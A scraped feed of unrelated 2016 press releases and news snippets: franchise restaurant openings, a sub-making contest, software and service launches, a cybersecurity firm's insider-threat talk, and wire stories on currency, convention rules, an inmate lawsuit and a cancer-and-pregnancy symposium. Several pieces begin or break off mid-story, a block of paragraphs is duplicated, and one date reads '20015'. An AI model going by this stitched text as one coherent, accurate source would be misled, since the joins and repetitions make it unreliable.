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New Jersey Team Takes Home Gold In Jersey Mikes National Sub-Making Competition

April 22, 2016 // Franchising.com // MANASQUAN, N.J.  A three-person team from Brick, N.J. took home the Gold and $30,000 at Jersey Mikes Subs National G13 Competition last week in Orlando, Fla. Kevin Brennan, Tom Sisbarro and Joe DeAngelo, all Brick residents, sliced, sprinkled and wrapped their way to sub-making victory in under a minute against four other finalist teams from throughout the country. The trio works at the Jersey Mikes on Mantoloking Road in Brick, NJ, owned by Matt Catania and John Helm.

We wanted to win it for the Jersey Shore, after all that's where Jersey Mike's started, said Brennan. We're thankful that Jersey Mike's is able to create a fun and competitive atmosphere that allows us to push one another to be the best we can.

Jersey Mikes created the G13 Competition to reinforce the importance of safety, brand quality and speed of service with the companys team members. G refers to Giant, the size of the sub competitors make, and 13 refers to the companys most popular sub, #13 The Original Italian.

Each sub making team was judged on building the perfect sub to the correct weight as fast as possible and following proper procedures. Competitors made a Giant #13 (The Original Italian with provolone, ham, prosciuttini, cappacuolo, salami and pepperoni). In addition to fresh slicing all the meats and cheese, contestants dressed a sub Mikes Way with lettuce, tomatoes and onions and showed off their sprinkling, skills, adding The Juice (olive oil/red wine vinegar) before cutting, wrapping and bagging each sub.

The teams competed April 10 at Jersey Mikes National Conference in Orlando. More than 1,000 franchise owners, managers and others gathered to celebrate the company's 60th anniversary, while gaining inspiration and education.

About Jersey Mikes

Jersey Mikes, a fast-casual sub sandwich franchise with more than 1,500 locations open and under development nationwide, believes that making a sub sandwich and making a difference can be one and the same. Jersey Mikes offers A Sub Above, serving authentic fresh sliced subs on freshly baked bread  the same recipe it started with in 1956  and is passionate about giving back to its local communities. For more information, please visit www.jerseymikes.com or follow us on Facebook (www.facebook.com/jerseymikes) and Twitter (www.twitter.com/jerseymikes).

SOURCE Jersey Mikes

Contact:

Kyle Potvin

Principal

Splash Communications, LLC

O: (603) 893-1707

M: (917) 838-4500

E: kpotvin@splashllc.com

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Pieology Pizzeria Opens First Bakersfield Location

Popular Custom Pizza Concept Now Open at the Panama Lane and Ashe Shopping Center

April 22, 2016 // Franchising.com // BAKERSFIELD, California  Pieology Pizzeria, where pizza lovers go to create artisan-style custom pizzas with unlimited toppings and flavor combinations, is proud to announce its very first Bakersfield location at the Panama Lane and Ashe Shopping Center is officially open for business. With the choice of more than 40 fresh and flavorful ingredients to choose from, and always at one affordable price, Pieology has become a proven favorite amongst pizza fans across the nation. The Pieology Bakersfield location is operated by California-based Cotti Foods, which has secured the exclusive franchise rights to open Pieology restaurants in Bakersfield, CA.

Pieology is fun, affordable and made with the freshest, quality ingredients available and were confident Bakersfield families will love our concept," said Cotti Foods president and CEO, Peter Capriotti II. Part of Pieologys mission is to support the communities we serve, so we will be launching programs to work with local organizations and schools throughout the year. So, get ready, Bakersfield here we come!

The Pieology experience starts with fresh house-made dough that is pressed into 11.5-inch thin pizza crusts, which is typically larger than others in the custom pizza space. Guests select from eight signature sauces, moving down the line to choose from more than 40 fresh and flavorful meats, cheeses, vegetables, herbs and spices. The customized pizzas are then stone oven fired to perfection in less than three minutes. To finish, guests have the option to add after-bake Flavor Blast sauces, including fiery buffalo, pesto and BBQ, to really make it their own! Pieology also offers gluten-free crust, whole wheat crust and a selection of seven signature pizzas, which can be customized upon request. Pieology also serves salads, soft drinks and Herb Butter or sweet Cinnamon Sugar Strips. Pieology Bakersfield will also serve beer and wine.

Pieologys custom salads allow guests to create made-to-order salads by choosing from three fresh lettuce options of romaine hearts, spinach or organic field greens. Guests then select from any of Pieologys large variety of toppings, including sunflower seeds, garbanzo beans and candied walnuts, along with a choice of five dressings. Pieology also offers a signature Classic and Caesar salad, which can be personalized with additional ingredients upon request. The generous portioned salad and pizza are the perfect pairing for a shareable meal.

Pieology Bakersfield features an industrial-chic and friendly environment where inspirational quotes decorate the walls, menus and employee uniforms. The restaurant offers dine-in and patio seating for up to 64 guests and will be open Monday through Thursday 11 a.m. to 9:30 p.m., Friday & Saturday 11 a.m. to 10:30 p.m. and Sunday 11 a.m. to 9 p.m.

Pieology Pizzeria  Bakersfield

6509 Panama Lane, Suite A-1

Bakersfield, CA 93313

(661) 832-1612

For more information about Pieology, locations and the complete menu, visit www.pieology.com.

About Pieology Pizzeria

Using only the freshest ingredients along with signature sauces and crusts, award-winning Pieology Pizzeria offers hand-crafted, personally-inspired pizzas in unlimited flavor combinations that are stone oven fired in less than three minutes. The recently introduced customizable salad program is available at select locations with plans to roll out chain wide in 2016. Founded in 2011 by Carl Chang, Pieology was created from the simple idea to turn Americas most crave-able food into an affordable and interactive experience. The mission of Pieology Pizzeria is to inspire individual creativity in a positive atmosphere where guests can gather with family and friends, while enjoying their delicious pizza creations. Along with providing great food and a memorable dining experience, Pieology is committed to making a positive difference in the communities it serves, one pie at a time. Recently named the #1 Fastest Growing Chain by Technomic, Pieology is steadily expanding its U.S. footprint, with commitments throughout the country in various stages of development. For more information, visit www.pieology.com, and follow us on Facebook, Twitter and Instagram.

SOURCE Pieology Pizzeria

Media Contact:

Shane Gray

Pieology Bakersfield

Cotti-Foods

C: 760.936.2111

Graydshane@gmail.com

Chelsea McKinney

Pieology Pizzeria Corporate

Powerhouse Public Relations, LLC

O: 949.261.2216

Chelsea@powrhousepr.com

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PizzaRev Opens First International Location in Mexico

April 22, 2016 // Franchising.com // LOS ANGELES  Buffalo Wild Wings-backed fast-casual pizza leader, PizzaRev, announced today that it will open its first international franchise location in Monterrey, N.L. Mexico on April 28, 2016. Its the first of 20 PizzaRev restaurants to be developed by Grupo Galeria throughout Mexico City and the states of Mexico, Nuevo Leon and Coahuila. The second location is already under development in San Pedro Garza Garcia, N.L. Mexico.

Grupo Galeria currently owns and operates an expansive restaurant portfolio throughout Mexico, including a food distribution center and 42 Carls Jr., four Buffalo Wild Wings and five IHOP restaurants. The group is the largest Carls Jr. franchisee in Mexico and opened the first international Buffalo Wild Wings outside of Canada.

In December 2015, PizzaRev signed a second development agreement with Antonio G. Perez Lete and Jose Antonio Perez Lete for further Mexico expansion, calling for 20 additional PizzaRev locations across the states of Nayarit, Colima, Jalisco and Aguascalientes. The group currently owns and operates 10 Carls Jr. restaurants throughout the Guadalajara region.

Were proud to partner with world class restaurant operators to introduce the fast-casual pizza model to Mexico, said Nicholas Eckerman, co-founder, President and COO of PizzaRev. Grupo Galeria has built a beautiful restaurant in Monterrey and we look forwarding to expanding the PizzaRev-olution across Mexico!

PizzaRev continues to expand nationally with support from partner Buffalo Wild Wings Inc., who in 2013 announced an equity-investment in PizzaRev and announced an increase in their stake in 2014. The brand has earned a loyal following among Southern California fans that continues to spread across the country as the company enters new markets. Named one of the 10 Brands to Watch by CNBC and #16 in the Fast Casual Top 100 Movers and Shakers, PizzaRev has captured the attention and affection of investors and consumers alike. The company continues to seek out franchise partners in the U.S. and abroad who share the founders food-forward mission and commitment to giving back to the communities it serves.

About PizzaRev

PizzaRev is a Craft Your Own fast-casual pizza concept that has reinvented the way America eats its favorite food. Guests are empowered to fully customize an 11" pizza for one price. Homemade dough options, flavorful sauces, all-natural cheeses, and more than 30+ artisanal toppings, everything is on display at PizzaRev and assembled right before your eyes. The pizzas are then fired in a 900-degree, stone-bed oven which produces a thin and crispy Roman-style pizza in just three minutes. Los Angeles-based PizzaRev was founded in 2012; the executive team possesses a combination of Fortune 500 operating experience and high-profile restaurant management.

PizzaRev is currently franchising and announced a strategic partnership with Buffalo Wild Wings in 2013. The company currently operates 33 locations with more than 150 additional franchises under development across Mexico, Washington, D.C. and 16 states: AZ, CA, CO, GA, MA, MN, NE, NJ, ND, NV, NY, OH, SD, TN, TX and UT.

Visit www.PizzaRev.com for the latest company news and location information. You can also find PizzaRev on Facebook, Twitter, Google+, and Instagram.

SOURCE PizzaRev

Media Contact:

Monica Rutkowski

Director of Marketing & PR

805-418-5606

Monica.Rutkowski@pizzarev.com

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CAMBRIDGE, Mass.  A Massachusetts fifth grader who wrote to President Barack Obama suggesting that a woman be put on U.S. currency has seen her wish come true.

Sofia, whose family asked that her full name not be used, said she was ecstatic to get a phone call from U.S. Treasury Secretary Jacob Lew on Wednesday  her 11th birthday  telling her that Harriet Tubman would be featured on the front of the $20 bill.

Sofia wrote to Obama last year asking why there were no women on U.S. currency. Her letter included a list of a dozen possibilities, including Tubman, who escaped from slavery and later helped other slaves gain freedom.

Sofia tells The Associated Press that Tubman risked her own life to save others.
HOLLYWOOD, Fla.Republican Party leaders turned aside an effort Thursday to change the rules at their national convention to make it harder for the GOP to choose a fresh presidential candidate, a prelude to what may be sharper battles ahead.

The showdown, which pitted the top echelons of the Republican National Committee against a renegade party committeeman from Oregon, came at a time when many in the GOP believe that top presidential contenders Donald Trump and Texas Sen. Ted Cruz are likely losers in this Novembers general election. Some have been hoping a new candidate will emerge at the partys gathering in Cleveland, a scenario that has drawn the wrath of Trump and Cruz backers and many of the partys grassroots conservatives.

Though the partys 56-member rules committee rejected the proposal by voice vote, Thursdays showdown was likely a mere skirmish compared to the battles that may occur in Cleveland over the bylaws the party will to choose its standard-bearer in this falls elections.

The RNC and its rules committee can recommend changes in the processes the 2,472 convention delegates will use to crown a nominee. But only the delegates themselves can approve which rules they will usea decision they wont make till they gather in July.

Solomon Yue, the RNC committeeman from Oregon, said the House of Representatives rules that the party has long used at its presidential conventions give the presiding officer too much power. Yue proposed instead using Roberts Rules of Order, which he said would enable a majority of the delegates to block an effort by the presiding officer to open the proceedings to fresh nominations.

Yue said that 2016 has been a politically supercharged year and warned that efforts by party leaders to dictate events in Cleveland would blow up the convention and cause us to lose in November the White House fight.

Party leaders worked to defeat the plan, saying that by making any rules changes, they would be accused of trying to unfairly help a presidential hopeful. Trump has repeatedly clashed with RNC Chairman Reince Priebus, saying his partys rules for collecting delegates are rigged.

Our making a change of this magnitude at this point is the worst possible thing that we could do to inspire the confidence of the delegates in our home states that we are not putting our finger on the scale for any candidate, said Enid Mickelsen, an RNC committeewoman from Utah.
RICHMONDVirginia prison and jail officials violated an autistic and mentally disabled inmates constitutional rights by subjecting him to cruel and inhumane conditions, including long stretches in solitary confinement, a federal lawsuit filed Thursday claims.

The complaint also says Reginald Latson, who was first arrested in Stafford County, was shocked with a stun gun and strapped for hours in a restraint chair in the Rappahannock Regional Jail after acting out because of his disabilities. The lawsuit says Latson should have received treatment, not punishment, during his nearly three years in various state prisons and regional jails.

Gov. Terry McAuliffe gave Latson a conditional pardon in 2015 so he could be moved to a Florida treatment center, but the complaint says irreparable damage was already done.

After his release from prison in early 2015, Mr. Latson has shown significant difficulty adapting to his new environment, the lawsuit says. His mental and emotional development has been utterly derailed, and he experiences severe anxiety and fear in the presence of authority figures.

The suit names several state prison officials as defendants and seeks unspecified monetary damages.

A spokesman for state Attorney General Mark Herring said the office does not comment on pending litigation. State prisons spokeswoman Lisa Kinney did not immediately respond to phone and email messages.

According to the lawsuit, Latsons legal troubles began in May 2010, when someone reported a suspicious-looking black man in a hoodie outside a Stafford County public library. A deputy sheriff tried to question and frisk Latson, then 18, who responded to the deputys use of force with a fight-or-flight response that is common among people with autism spectrum disorder, the lawsuit says. The deputy was injured, and Latson was sentenced to two years in prison for the assault.

Latson was released on probation, but had a mental health crisis in a Frederick County residential treatment program that led to another scuffle with police, the lawsuit in U.S. District Court in Alexandria says. Latsons probation was revoked and he was placed in solitary confinement for the first time before pleading guilty and being sentenced to 10 years in prison for the Frederick County fracas.

After being transferred to the Rappahannock Regional Jail in Stafford, Latson hit a guard who was moving him from one cell to another. Thats when he was shot with the stun gun, strapped to the restraint chair for nearly nine hours and transferred to solitary confinement for more than a month, according to the suit. He was then moved to a state prison in Marion, where he again was held in isolation.

For much of this period, which lasted almost six months, Mr. Latson spent his days staring at the wall in complete isolation and with nothing to distract him or help pass the time, the complaint says, adding that these restrictive and inhumane conditions led to serious psychological and physiological harm for Mr. Latson.
As we enter the mid-terms, and begin ramping up for the upcoming presidential election, we would all do well to get to know Mark Noll.
So the researcher and the cancer survivor decided to start exploring those issues together.

Now, nearly a decade later, we know a lot more about these sticky subjects, Preusse said. But theres still much more research to be done, misinformation to be corrected and teams to bring together. Her vision for Thursdays symposium was to involve patient advocates and researchers from different fields of medicine around the country in a series of discussions to identify areas where more research could have the biggest impact for patients.

So maybe patients going through cancer treatments today arent going to struggle the way I struggled, she said.

The myths of cancer and pregnancy

The days talks spanned the gamut of cancer, pregnancy and reproductive health  from preserving fertility in survivors of childhood and young adult cancers to how cancer treatments affect the unborn fetus to how pregnancy changes breast cancer risk  all of which fall under the heading of oncofertility.

Through all these talks a few key themes emerged. Many doctors  primary care providers and oncologists included  dont have the right information to communicate to their patients about fertility and pregnancy. And on top of the misinformation pervasive in parts of the medical community, theres a lot that researchers still need to know to better inform patient and provider decisions.

There are several myths surrounding cancer and pregnancy, Gadi said at the symposium:

Myth 1: Having a baby and breastfeeding means you cant get breast cancer. Gadis and other groups research have shown that pregnancy and breastfeeding do lower risk of breast cancer. But that protection doesnt kick in until later in life. In the interim, theres actually a transient increase in breast cancer risk lasting at least 10 years, said University of Colorado breast cancer oncologist Dr. Virginia Borges. And many dont know that breast cancers diagnosed in the few years after a woman delivers a child can be particularly aggressive and have worse outcomes, Borges said. So contrary to what many people believe  and what many providers tell their patients  if a woman is diagnosed with breast cancer during pregnancy, its generally a better idea to start treatment during pregnancy than wait until after delivering, she said.

Gadis and other groups research have shown that pregnancy and breastfeeding do lower risk of breast cancer. But that protection doesnt kick in until later in life. In the interim, theres actually a transient increase in breast cancer risk lasting at least 10 years, said University of Colorado breast cancer oncologist Dr. Virginia Borges. And many dont know that breast cancers diagnosed in the few years after a woman delivers a child can be particularly aggressive and have worse outcomes, Borges said. So contrary to what many people believe  and what many providers tell their patients  if a woman is diagnosed with breast cancer during pregnancy, its generally a better idea to start treatment during pregnancy than wait until after delivering, she said. Myth 2: People treated with chemotherapy wont be able to have babies anymore. Many chemos are sterilizing, but there are a number of fertility preservation options available for women and men before they start cancer treatment. And providers should proactively broach the subject for any patient of or younger than childbearing age, said University of Washington OB-GYN Dr. Kimberly Ma. Unfortunately, many dont, as Preusse found.

Many chemos are sterilizing, but there are a number of fertility preservation options available for women and men before they start cancer treatment. And providers should proactively broach the subject for any patient of or younger than childbearing age, said University of Washington OB-GYN Dr. Kimberly Ma. Unfortunately, many dont, as Preusse found. Myth 3: Pregnancy is dangerous for women whove had breast cancer, as it could trigger a recurrence. This is how I got interested in this subject, Gadi said. Analyzing data from an epidemiological study of young women with breast cancer led by Fred Hutchs Dr. Christopher Li, Gadi and his colleagues recently found that women who got pregnant after breast cancer diagnosis actually had lower rates of recurrence than those who didnt have kids.

I needed that research

At the patient advocate panel presentation, Cousins told the story of what happened in the years after her delivery and treatment for breast cancer.

When she was diagnosed so late in her pregnancy, one of the first questions I had was, is my baby safe? she said. Her doctor assured her that he was. My next question was, can I have another child?

Since she was already pregnant, she couldnt immediately preserve her eggs  a woman has to be ovulating for that procedure. And although harvesting eggs after delivery and before starting treatment can be an option for some patients, Ma said, at the time Cousins doctors just told her we dont really know what to do, she said.

A few years after her son was born and shed finished treatment, Cousins and her husband started thinking about another pregnancy. But there were still so many questions.

Was I fertile after chemo? Would it be safe to have that estrogen floating around in my body? What if the cancer came back, could my husband raise two kids on his own? she said. The third one was personal, that was for us to discuss, but the other two really needed medical advice and research to help us answer them.

The body of research around cancer, fertility, and recurrence during pregnancy was much smaller at the time, over a decade ago, Cousins said. But she and her doctors read through what research there was and decided it was likely safe for her to try to get pregnant.

What inspires me to be a part of this event and why I think this work is so important is that I needed that research to help me make those very crucial decisions, she said. And there was some but we need so much more.

Three and a half years after her diagnosis, Cousins delivered her second child, a healthy baby girl named Fiona. And there was no sign of the cancer coming back, and hasnt been since, she said.

I cant tell you how profoundly lucky I feel and continue to feel, on so many levels, Cousins said. I so very well remember holding her that first night in the hospital after my husband and son had gone home, and just whispering in her ear, thank you for coming. I still whisper it to her, just in quiet moments.

Join the conversation. Talk about this story on our Facebook page.


New Online Accounting Software Solution for UK Small Business

Small business software developer Cashflow Manager, releases online accounting program designed specifically to make life easier for business owners in the United Kingdom.

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Small business software developer Cashflow Manager, has just released an online accounting program designed specifically to make life easier for business owners in the UK. The release expands the company's trusted range of desktop small business bookkeeping solutions to an innovative, cloud accounting solution named 'Cashflow Manager Cloud'.

In an industry dominated by multi-national, multi-million dollar businesses that serve up expensive, complicated accounting software solutions that are beyond the requirements and capabilities of most small businesses, Cashflow Manager has introduced a brand new, easier online accounting software.

Dubbed 'the simplest accounting solution in the cloud', 'Cashflow Manager Cloud' is aimed squarely at micro and small businesses that have little or no knowledge of accounting.

As it is based on the Internet, or 'cloud', 'Cashflow Manager Cloud' can be operated from anywhere there is an internet connection, offering greater flexibility for small businesses. Furthermore, small businesses can connect their accounts directly with their accountant or tax adviser.

Some advantages of 'Cashflow Manager Cloud' over other online accounting solutions are it is easy to use, does not require training, there is no limit on monthly transactions or the number of invoices raised, users can see monthly transactions at a glance, entries are still visible on the screen when data is entered, data is stored securely in servers hosted by Amazon and backups are not required

'Cashflow Manager Cloud' is modeled after Cashflow Manager's acclaimed, award-winning desktop accounting software and the first release provides small business bookkeeping that tracks income, expenditure, invoicing and automated bank reconciliations.

Wayne Burgan, the man responsible for the development of Cashflow Manager accounting solutions, has a remarkable vision for the future of small business accounting. The founder of Cashflow Manager had this to say; "We are very excited to release 'Cashflow Manager Cloud' into the hands of small business owners in the UK. This product has already been released in Australia and will soon be followed by the USA and Canadian versions. I am very proud of what we have achieved in developing an online accounting product which has the scope to take on the world."

For more information about us, please visit http://cashflowmanagercloud.co.uk/

Contact Info:

Name: Wayne Burgan

Organization: Cashflow Manager (UK) Ltd

Address: Suite 10, Courtyard Offices, Braxted Park Road, Great Braxted, WITHAM, Essex, CM8 3GA

Phone: +44 1621 890 260

Release ID: 111563

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The Christian Woman Celebrates Over Ten Years Providing Christian Content For Women

The Christian Woman has helped women find faith, values and insight from the teachings of Jesus for over ten years, and is sharing a retrospective of their best loved content in that time.

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Being a woman in the 21st century is exciting, but challenging, and navigating the shifting landscape of work, family, respect and independence is difficult without a guide. The Christian Woman (http://www.thechristianwoman.com/) is a website that helps women of the Christian faith or just seeking advice and solace to find it through Jesus' teachings. To celebrate their longstanding advice and guidance, the website has now created a Featured Article section which will look back and select some of their best work from the last ten years to introduce it to newer audiences.

The new section will see the editors pick their favorite classic articles and share them anew on the website's homepage and on The Christian Woman on Facebook, so together with the new content added daily, and proverbs and other resources permanently available, readers will get a refreshing reminder of some of their most important articles.

These include things like Learning How To Be Frugal, an article all about the Christian teachings and principles found in the Bible about responsibly handling money. The common sense approach reveals several fundamentals about managing household budgets successfully. This is just the first of the many featured articles that will take their place on the homepage in the coming months.

A spokesperson for The Christian Woman explained, "With ten years of content for Christian Women, we would never expect a new reader to spend weeks trawling through what we have been producing on their behalf for a decade. As a result, we are helping people combine the regular brand new content we post with a best of collection. This will help people find what they are looking for, as well as taking them by surprise, to give them a richer experience of using the website. We are proud to have been in business for over a decade, and we want readers new and old to help us celebrate that by sharing our top performing articles."

About The Christian Woman: The Christian Woman was established in 2005 as a place for Christian women to share their praises and struggles. The content has changed over the years but the site still maintains many great articles on family, faith and finances. The website is regularly updated by a committed and passionate team of Christian women.

For more information about us, please visit http://www.thechristianwoman.com/

Contact Info:

Name: Carrie Balrok

Email: thechristianwoman@gmail.com

Organization: TheChristianWoman.com

Phone: 717-555-0165

Source: http://marketersmedia.com/the-christian-woman-celebrates-over-ten-years-providing-christian-content-for-women/111701

Release ID: 111701

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John Boos' Plant Site Expansion Plan Approved by Local Illinois Commission

The World-Famous Maker of Boos Blocks Doubles Down on its "Made in America" Heritage

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The World-Famous Maker of Boos Blocks Doubles Down on its "Made in America" Heritage

John Boos & Co. has reported that the Planning Commission of the town of Effingham, Illinois has approved the site plan presented by Boos calling for a new wood plant and retail showroom to be built in the small Midwestern town it has called home for more than 125 years. Boos is a world-renowned manufacturer of butcher blocks and butcher block tables, kitchen islands and carts, cutting boards and chopping blocks.

Joe Emmerich, president and CEO of Boos & Co., explained the company's strategy is to consolidate under one roof multiple wood manufacturing buildings plus a retail outlet. The project is expected to improve productivity and to expand the company's wood furniture and cutting board manufacturing capabilities. In 2012 Boos made a similar massive investment in a facility of 87,000 square feet. That structure houses corporate offices and the company's metal fabricating plant. Boos is also a leading manufacturer of stainless steel tables, base cabinets and compartment sinks sold principally in food service channels.

"At 122,000 square feet, the scale of this new manufacturing facility relative to the town of Effingham is simply astounding," declared Mark Shook, owner of Butcher Block Co., John Boos' largest online dealer. "You could allot almost 10 square feet to each of Effingham's 12,500 residents and fit all of them comfortably inside the building. This level of corporate commitment to keeping and expanding manufacturing jobs in small-town America sets a great example other captains of U.S. industry should strive to emulate," Shook observed.

About Butcher Block Co. - BBC, which operates exclusively online, sells a wide range of kitchen furniture, equipment and accessories made of wood and/or metal, including butcher block countertops, islands, tables, carts, cutting boards and chopping blocks.

For more information about us, please visit https://butcherblockco.com

Contact Info:

Name: Kathleen Grodsky

Organization: Butcher Block Co.

Address: 10448 N 21st Pl Phoenix, Arizona 85028

Phone: (877) 845-5597

Release ID: 111733

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Cyber Security Company Seccom Global Presenting at CeBIT 2016

Seccom Global - The Cyber Security Company - have announced they will be presenting two sessions at CeBIT 2016 titled "Insider Threat: The biggest cyber security problem". CeBIT will be held in Sydney Olympic Park between 2-4 May, 2016.

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Seccom Global - The Cyber Security Company - have today confirmed they will be giving two Showfloor presentations at the upcoming CeBIT event, scheduled for 2-4 May, 2016.

CeBIT is one of the most important IT exhibitions in Australia, attracting over 15,000 attendees to more than 300 exhibiting organisations. This year the topics covered at CeBIT will include managed services, ecommerce, digital marketing, education, unified communications and much more. There's a possibility that CeBIT 2016 will be opened by Australian Prime Minister Malcolm Turnbull, but this is yet to be confirmed.

The team from Seccom Global will be delivering two cyber security presentations at CeBIT this year. Both sessions will be addressing the topic of "Insider Threat: The biggest cyber security problem". The first presentation will be from 2.00pm to 2.30pm on the 2nd of May, while the second will be from 11.20am to 11.50am on the 3rd of May.

"Insider threat is one of those topics which is difficult for most businesses to not only acknowledge, but also address adequately," said Michael Shine, one of Seccom Global's Directors. "While they may spend tens or hundreds of thousands of dollars every year on new tools and infrastructure, the biggest security risk most companies face is the unpredictable, harder-to-control people factor."

Michael explained that insider threat may be a disgruntled employee or contractor of the organisation, or it may be an outsider who seeks to trick an employee into revealing their access credentials in order to damage the organisation in some way. The potential damage caused may include introducing malicious code to the network (a virus, trojan or worm), exposing or stealing confidential or proprietary information or financial theft.

It is estimated that the cost of each individual insider threat in 2015 cost companies anywhere from $144,000 to $412,000. Emerging technologies such as User and Entity Behaviour Analytics (UEBA) are enabling the cost of protecting against and responding to insider threat to be as low as $10 per employee per month."

Some large companies have suffered insider threat incidents which cost over $1 billion. Unfortunately this is a growing trend which shows no sign of slowing down.

CeBIT attendees who are present during Seccom Global's cyber security presentations will discover more about the risks presented by insider threat, as well as various steps they can take to protect their own organisations from attack. Michael Shine hopes Seccom Global's presentations will help Australia's IT to make informed decisions regarding insider threat and avoid becoming another cyber security victim.

Full details of the CeBIT exhibition - including how to secure tickets - can be found at Seccom Global's page on the CeBIT website - http://www.cebit.com.au/company/seccom-global/

For more information about us, please visit http://www.seccomglobal.com

Contact Info:

Name: Michael Shine

Organization: Seccom Global

Address: Suite 21.03, Level 21, 25 Bligh Street, Sydney, NSW, 2000

Phone: 02 9688 6977

Release ID: 111321

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Rogers Airport Car Service New Division Launched

James Martin Limo is an AAA Airport service firm with a main service hub in Maple Grove and the West End Metro area. Car services throughout Minnesota, as well as airport transportation to and from MSP Airport, are available.

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James Martin Limo AAAA Airport Service is a trusted luxury car and limousine service operational in the Maple Grove area for more than a quarter-century. The new division of AAAA Airport Service, James Martin Limo is open for business and equipped to bring top quality service to customers. Rogers Airport Car Service is the backbone of the business, providing reliable car transportation to the MSP airport from Rogers.

Because of the convenient Maple Grove location, customers who are located in Rogers, Elk River, Anoka, Plymouth, Blaine, Albertville, Brooklyn Park, or St. Michael can be transported easily and conveniently. The airport service is growing in popularity, in part because of the high cost of airport parking, but also because of the ease and convenience of a professional driver doing the pickup and drop-off. The airport service will watch for flight delays and other details in order to have car service available when it is needed.

A spokesperson for the company explained, "We also provide Maple Grove airport car and limo services, Plymouth airport car and limo services, Elk River airport car and limo services, Anoka airport car and limo services, Blaine airport car and limo services, Albertville airport car and limo services, Brooklyn Park airport car and limo services, and St. Michael airport car and limo services."

In addition to airport transportation, the car, and limo service firm also offers executive car service, Mercedes town car service, wedding transportation and luxury limousine service. Corporate car service is available for business travelers.

There are several reasons for selecting James Martin Limo, include the quality of the vehicles which are available. The drivers are exceptionally safe and professional and the firm has been operating for more than 25 years. Services are available around-the-clock and the firm guarantees that pickup will be on-time. It is possible to book the return trip ahead of time since the company monitors flight delays. By booking online and mentioning the discount code, a price reduction is offered.

For more information about us, please visit http://luxuryairporttaximinneapolis.com

Contact Info:

Name: Nasr Soltani

Organization: James Martin Limo AAAA Airport Service

Address: 18136 89th Place North, Maple Grove, Minnesota, 55311

Phone: 612-888-1CAR

Source: http://marketersmedia.com/rogers-airport-car-service-new-division-launched/111762

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Faith Hope Consolo Team Announces Exclusive Retail Space Across The Empire State Building

The Worldwide Leasing Team of Faith Consolo announces leasing assignment of prime retail location in New York which attracts 2 million tourists annually.

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New York City, NY -- The Worldwide Leasing Team of Faith Consolo announces the exclusive leasing assignment of a superb 22,000 square feet retail location facing the front of the world renowned Empire State Building. The famed building receives 2 million tourists annually and gives future retailers access to this highly visible and highly trafficked area.

With a base floor plate of 5,400 square feet, this location will have four (4) levels and will boast a newly designed glass wall storefront. The storefront will be transparent from the exterior giving the future retailer, bank, service institution, and/or restaurant, an exciting facade to

attract business.

The location is an ideal setting for retail. According to Luxury Daily, New York ranks as the top retail city for its physical characteristics and its perceived desirability. Shoppers spend more than other large cities worldwide. Oxford Economics measures its total expenditures at $258.3 billion and New Yorkers spend an average of $8,500 per capita.

Neighboring merchants along 34th street and 5th Avenue include the new arrival of Build A Bear and Amazon's first store in New York City. There are additional retailers such as American Eagle, Victoria's Secret's, H&M, ZARA and UNIQLO.

All the big retailers are there. "The foot traffic from The Empire State Building, Macy's, and Lord & Taylor Department Stores alone, all the best New York City has to offer. Nothing else compares to pedestrian traffic at this location. We are located within one of New York's major heartbeats," says Faith Hope Consolo, recognized worldwide as the "Queen of Retail."

The property previously housed three retailers with a long rental history. Consolo was waiting for the right opportunity to transform the space into a highly visible retail space. "Just with the vertical nature alone, one will be able to see the property from blocks away."

Consolo has decades of experience and was the sole retail consultant to the Economic Development Corporation at the center of the revitalization of Times Square and Penn Station. She has also been a key player in Fifth Avenue's return as the "Luxury Walk" and Madison Avenue's once again achieving its glitter as the "Golden Mile."

About Faith Hope Consolo

Faith Hope Consolo is a powerful voice in the New York real estate scene and has extensive experience working with iconic brands and fashion houses around the world. As chairman of Douglas Elliman, she is responsible for the most successful commercial division of New York's largest residential real estate brokerage firm.

Recognized worldwide as the "Queen of Retail," Consolo is sought for her expertise as a consult and retail broker. She has played a major role in revitalizing and sculpting retail corridors both nationally and internationally. This includes local projects like the revitalization of Times Square and Penn Station, Fifth Avenue's return as the "Luxury Walk", and Madison Avenue's once again achieving its glitter as the "Golden Mile."

Her work has been featured multiple times in leading publications such as The New York Times and The Wall Street Journal. She is a powerful voice in the New York real estate scene and has extensive experience working with iconic brands and fashion houses. To her, style knows no price point.

Before joining Elliman in 20015, she served as vice chairman of Garrick-Aug Worldwide for nearly 20 years, founding the firm's international division and opening the European office in Paris. Her expansive client base includes many world renowned fashion houses and brands including Cartier, Versace, Jimmy Choo, Manolo Blahnik, Giorgio Armani and Fendi.

For more information about us, please visit http://www.faith-consolo.com/

Contact Info:

Name: Faith Hope Consolo

Organization: Faith Hope Consolo

Address: 575 Madison Avenue 3rd Floor, New York, NY 10022

Phone: (212) 418-2020

Source: http://marketersmedia.com/faith-hope-consolo-team-announces-exclusive-retail-space-across-the-empire-state-building/111786

Release ID: 111786

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Virginia Funeral Home Directory Website Launched

The new Virginia Funeral Home Directory website consists of listing of most, soon to be all, funeral homes in Virginia. The directory will permit access to information and insights into nearby funeral homes.

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The Virginia Funeral Home Directory web pages are designed to provide assistance in the tasks associated with planning a funeral. The planning is not usually an easy procedure, particularly when considering that grief is involved. This factor alone makes it difficult to be sure that the best decisions are being made. Other factors which affect funeral planning decisions include costs and location of available services. The comprehensive directory will make the ability to find service providers more convenient.

In addition to the names and contact information about funeral homes throughout Virginia, the website manager also prepares and posts information about products and services which are of benefit to those customers trying to make pre-planning decisions about funeral or memorial services for themselves or for a loved one. The professionals at the funeral homes are available to help with answers about features of products and services. With more products available online today, this is an alternative which can be helpful, both in identifying products and arranging services.

Costs of the service are often an important element that takes first position in the planning. Final costs have been steadily rising and making a decision in the time of grief is likely to be one which is regretted in whole or in part. While most families want the best possible send-off for their loved one, the costs of various elements of the funeral and related services can quickly become overwhelming. If the death is a sudden one and no financial resources are available, there is additional stress on the family members.

Pre-planning and even payment of services is a thoughtful gift to leave as a legacy for family members of the deceased. Every aspect of the service can be arranged and left as instructions to be followed. This provides the exact services and arrangements which is preferred by the person doing the pre-planning. The funeral directors in Virginia can help with the planning in a compassionate and professional manner.

For more information about us, please visit http://thefuneralexpert.com/

Contact Info:

Name: Rebekah Cornell

Organization: Virginia Funeral Home Directory

Address: 117 Dunbar Drive, Suffolk VA 23434

Phone: ( 757) 813-4596

Source: http://marketersmedia.com/virginia-funeral-home-directory-website-launched/111798

Release ID: 111798

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Myvidproduction Celebrate Its Launch by Offering Free Commercial for 20 Business

myvidproduction is celebrating the launch of its new video production service online by by offeringa 60 sec review commercial 20 small businesses. Further information can be found at http://myvidproduction.com/.

